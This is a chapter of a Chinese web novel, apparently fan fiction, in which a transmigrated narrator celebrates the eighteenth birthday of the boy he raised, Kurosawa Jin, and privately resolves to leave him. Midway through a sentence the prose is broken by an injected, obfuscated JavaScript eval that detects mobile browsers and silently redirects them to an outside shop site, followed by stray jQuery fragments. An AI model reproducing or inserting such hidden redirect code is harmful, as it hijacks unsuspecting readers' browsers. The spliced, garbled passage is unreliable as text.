黑泽阵睁开眼睛的瞬间,视线被站在他面前的男人占据,对方手里拿着两张门票,见他睁眼便笑吟吟递给了他。
他下意识地伸手接了过来,垂眸细看,下一秒,脸上罕见地露出些许怔愣的表情。
在今天之前,关于男人会送他什么礼物这件事,他设想过许多种可能,但他万万没想到,对方送给他的成人礼礼物,竟然是两张游乐园门票。
或许是因为幼时经历过太多事,他比起别的同龄人,显然要早熟许多,对这种备受小孩子欢迎的地方,也没有那么心向往之。
因此,每次班上同学邀请他去游乐园玩,都会被他拒绝,毕竟他对这个地方没什么滤镜,也不想和不怎么熟悉的人呆在一块浪费时间。
但现在,邀请他的人是江瞳。
江瞳是不一样。
无论和他做什么事,都不算浪费时间。
江瞳站在他的身前,见他始终低着头不说话,便主动开口打破了沉默:“阿阵,十八岁生日快乐,希望你能喜欢我送你的成人礼礼物。”
黑泽阵被他的话拉回了思绪,他抬眼看向面前站着的黑发青年,宝石般的瞳孔中闪烁着堪称温柔的光芒。
他喉结微动,唇瓣上下开合,似乎想吐出些感谢的话语,可话到了嘴边,又觉得语言过于苍白,思虑再三,终究还是把感谢的话咽了回去。
江瞳显然也不需要他说什么感谢的话,顿了顿又继续开口:“听说这个游乐园很受你们这个年龄的小孩欢迎,门票一票难求,我想着还没带你去过,就自作主张买了票,希望你能看在我花了大价钱的份上,明天赏脸和我一起去。”
他说这话时,语气里带着些轻松的调侃,但黑泽阵听完之后,却像是被触碰到了逆鳞般,一脸不满地看向他。
“哥,你刚也说了,我已经成年了,所以你能不能别再把我当小孩看了?这是对我的不尊重。”
换做之前,黑泽阵还不会对这两个字那么敏感,而现在,出于某种不为人知的原因,已经晋升为成年人的他,断不能接受自己再被当小孩看。
江瞳看着他这副不满又带着点委屈的样子,莫名觉得很有意思,唇畔的笑意非但没有收敛,反而越发加深。
他故意眯起眼睛,上下扫了少年一眼,然后在他恼怒不已的目光中,慢悠悠开口:“哦,是吗?可是谁家大人会在阴森森的打雷天,抱着枕头跑到监护人房间里呢?”
话音落下的刹那,少年藏在银发之下的耳尖,飞快泛起一层薄红。
自从五年前生日那天,他成功用这招达成自己的目的后,每逢打雷下雨天,他都要故技重施,而之后的事实证明,这种方法屡试不爽。
他当然知道这个借口很是拙劣,江瞳又不傻,不可能看不出来。
但对方还是选择让他进房间而不是赶走他,这份纵容让他很是受用,也让他藏在心里的那颗种子慢慢生根发芽,最后长成参天大树。
只是他万万没想到,对方会在这个档口,把这件事堂而皇之地说出来,即便这是两人都心照不宣的事情,可被当场拆穿,黑泽阵还是觉得面上有些挂不住。
“我、我那是……”
他憋红着脸,试图寻找合适的措辞,但搜肠刮肚了好一番,也没能说出个子丑寅卯来。
最后他索性放弃挣扎,选择破罐子破摔:“我跟你睡怎么了,你是我哥,我是你弟,我们睡在一起也没什么不对的。”
江瞳被他这番歪理说得哑口无言,他心里暗暗乍舌,这小屁孩儿可真是被他宠坏了,这样的鬼话也能脸不红心不跳地说出口。
他深深地看了对方一眼,直到对方被他看得低下头来,才故作无奈地说道:“唉,你小子这么黏我,以后娶妻生子了怎么办?到那个时候,你有了自己的家庭,还能和我住一起吗?”
他说这话,原本只是想调侃一下对方,顺带活跃活跃气氛而已。
但他怎么也没想到,黑泽阵在听到这番话后,反应会是这么的……这么的让人摸不着头脑。
少年面上的红晕不知何时已然褪去,整张脸如白纸一样苍白,他像被按了静音键般垂首低眉,目光只盯着脚下的大理石地板,仿佛要将它看出个洞来。
诡异的沉默很快就在两人之间蔓延开来,江瞳对此很不适应,他唇角轻抿,刚想开口说些什么,就听到少年压得极低的声音。
“我才不会娶妻生子呢。”
他的声音压得很低,即便江瞳耳力过人,却也没听清他刚才的话。
于是他秉着求知的精神,迈开长腿,朝着少年走近一步,然后有些疑惑地问道: “阿阵,你刚刚说了什么,能再说一遍吗,我没听清。”
但黑泽阵闻言只是抿了抿唇,没有半点为他答疑解惑的意思。
约莫过了三四分钟,他抬起眼眸,意味不明地看了江瞳一眼,那一眼很深,深到江瞳根本看不懂其中包含的复杂情绪。
他只是看了一眼便撇开了视线,然后一言不发地转过身,快步走向了自己的房间。
直到关门声响起,江瞳这才从怔愣中回过神来,脸上随即露出一副匪夷所思的表情,显然被少年突如其来的反常举动搞得一头雾水。
他立在客厅中央,又仔细回想了一下自己刚才说的话,可他想来想去,也没觉得自己哪句话说的过分了,对方至于反应这么大吗?
唉,青春期少年的心思可真是难猜呢。
还是小时候的阿阵好,高兴就是高兴,不高兴就是不高兴,情绪全写在脸上,根本不用人费心思猜。
江瞳在心里扼腕叹息了一番,随后自暴自弃地走向厨房,准备下碗面给自己吃,吃饱了才有力气研究青春期少年的神奇脑回路。
在现场围观了全程的007:【……】
它错了,它忏悔,它不该对宿主是个钢铁直男这件事提出质疑的。
五年前对方和它说那些话的时候,它还不信,觉得对方将来一定会被打脸,为此还特地把他说过的话录了下来,准备日后大肆嘲笑对方一番。
但现在看来,自己那份录音,怕是永远都用不上了。
*
江瞳吃完面后,把碗筷洗了放进消毒柜,然后回到卧室简单洗了个澡。
等他穿着睡衣走出来的时候,天已经彻底黑了。
他像往常一样坐到床边,拿起吹风机给自己吹头发,温热的风吹拂着他的发丝,让他有些昏昏欲睡。
而就在这时,窗外突然响起了一阵雷声,紧接着,雨点噼里啪啦砸在窗户上,一如五年前的那一幕。
窗外雨势凶猛,江瞳又不是聋子,自然听得清楚,他不知想到什么,目光下意识落在那扇紧闭的卧室门上。
按照以往的经验,过不了多久,门外就会响起一阵笃笃敲门声。
一旦他走过去把门打开,某个心机深重的小家伙就会得寸进尺地进入他的房间,然后毫不见外地爬上他的床,抱着他一起睡觉。
这个流程在过去几年重复了无数遍,以至于江瞳一听见雷声,就下意识朝门口看去,好像下一秒,那里就会传出什么动静似的。
他只看了一眼,便收回目光,继续给自己吹头发,边吹边等着熟悉的敲门声响起。
然而——
五分钟过去了。
十分钟过去了。
十五分钟过去了。
直到半个小时过去,门口处依旧毫无动静,江瞳对此颇感意外,他把吹风机放回原位,然后拿起手机看了一眼时间,已经快十一点了。
往常这个时间点,那小家伙早就已经爬上他的床,可现在……他看着空荡荡的床头,不由得抿了抿唇。
难道对方还在生他的气,所以今晚赌气不来了?
他脑海里不受控制地冒出这个念头。
然而这个念头刚一出现,门口就传来了两声敲门声。
听到这熟悉的敲门声,江瞳不自觉弯了弯唇角,他暗道一声江山易改本性难移,然后便穿上拖鞋,起身走过去打开了门。
门外站着的果然是黑泽阵。
五年过去,当年瘦瘦小小的男孩,已经长成一个高挑颀长的少年,但在刮风打雷又下雨的夜晚,他依旧会穿着睡衣抱着枕头,站在他卧室前敲他的门。
但不同于过去的是,那时候的他还会找个蹩脚的借口来搪塞自己,现在的他连演都不演了。
他见门被打开,便镇定地走进去,然后把手里的枕头往床上一丢,自个儿掀开被子躺了进去,那一系列动作行云流水,像是做过无数遍一样。
而事实也的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17941159|213436||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
确如此。
江瞳看着床上微微隆起的身影,失笑着摇了摇头,随后反手关上门,走到床边坐下,抬手关掉了头顶的大灯。
房间里瞬间陷入一片黑暗,江瞳径直躺在了床上,床垫因为他的重量凹陷下去。
躺下后没多久,一双修长的手臂就从他的身旁伸了过来,某人像过往的每一次一样环住他的腰,紧接着把脸埋进他的颈窝里,细细嗅闻着他身上的味道。
江瞳对此已经习以为常,他在黑暗中无声地笑了笑,随后顺势抬起手臂,将少年揽到自己的臂弯里。
对方这几年长得很快,个头已经和原主差不多高了,他就着窗外透进来的微弱月光,用目光比划了一下两人的身高,最终得出结论。
——这小子再长两年,估计就要比原主还要高了,不过比起自己原本的身体,他应该还是要矮上一些的。
毕竟他原本的身体,差不多有一米九,而且他的生理年龄也才十八,还能再长,指不定最后谁比谁高呢。
他正漫无边际地想着这些事情,怀里那人却忽然冷不丁问了句:“哥,我有个好消息要告诉你,你想不想听?”
江瞳被他这句话拉回了思绪,语气轻快地回道:“当然想听啊,有好消息听为什么不听?说吧,什么好消息?”
黑泽阵从他怀里抬起头,仰着脸看他,那双墨绿色的眼睛即便在暗处也亮得惊人:“我拿到D大的保送资格了,不用参加入学考试,也能进去读书。”
江瞳听到这个消息,也没露出过于惊讶的表情,毕竟他早就从对方老师那里得知了此事。
但知道归知道,亲耳听到自家弟弟告诉自己这件事,那种感觉还是完全不一样的。
这几年,少年的成长他都看在眼里,和过去那个说话尖锐浑身带刺的他相比,现在的他就是别人口中那个别人家的孩子,任谁见了他都很难不喜欢他。
从某种意义上来说,他的任务也算是圆满完成了。
在他的精心培养下,对方已经和原著那个凶名远扬的阴鸷反派没有半毛钱关系了。
江瞳在为此感到欣慰的同时,心底也泛起一丝说不清道不明的怅然。
他闭了闭眼,竭力压制着心底的情绪,怀里的人却在这时又开口问道:“哥,你会为我感到骄傲吗?我已经按照你说的,考上全国最好的大学了。”
少年说这话时,眼神里带着小心翼翼的期待,江瞳借着月光看着他,只觉此刻的他像极了想要老师表扬的小朋友。
心脏像是被什么东西轻轻撞了一下,他收紧搂着少年的手臂,一字一句,掷地有声地说:“当然,无论谁是你的哥哥,都会为拥有你这样的弟弟而感到骄傲的。”
他方才所言,字字句句都发自肺腑,没有半分虚情假意,但黑泽阵听到这话,也只是高兴了一会,很快,他就压下上扬的唇角,默默在心里叹息一声。
可那又怎样呢,你最后还是会丢下我离开的。
我再怎么努力也没用。
他没有把自己的心里话说出口,只是将脸再度埋进男人的肩窝,然后更为用力地抱紧了他,好像下一秒他就会从这个世界上消失一样。
时间一分一秒过去,渐渐的,雷声不再,室内只剩雨声淅沥。
两个人在黑暗中静静相拥,谁都没有再说话,不知过了多久,江瞳终于听到怀里少年悠长平稳的呼吸声。
他暗自松了一口气,刚才被他刻意压下的情绪又再度翻涌上来,几乎将他整个吞没。
五年过去,黑泽阵已经长成一个品行端正的社会好青年,他的任务完成了,也是时候离开了。
可是……
他低头看了眼紧紧箍在自己腰间的手臂,几不可闻地叹息一声。
这小子这么黏他,要是他真的走了,肯定会伤心难过的不得了。而他和对方朝夕相处了这么久,也早就有了感情,不再只是把对方当任务对象看了。
正所谓怕什么来什么,他多年前担心的事,终归在今日变成了现实。
江瞳手指无意识地抚摸着少年柔顺的银发,一边摸着,一边暗自在心里做下一个决定。
他是时候该为自己的离开做准备了。
再这么拖下去,对注定要分开的两个人来说,都不是什么好事。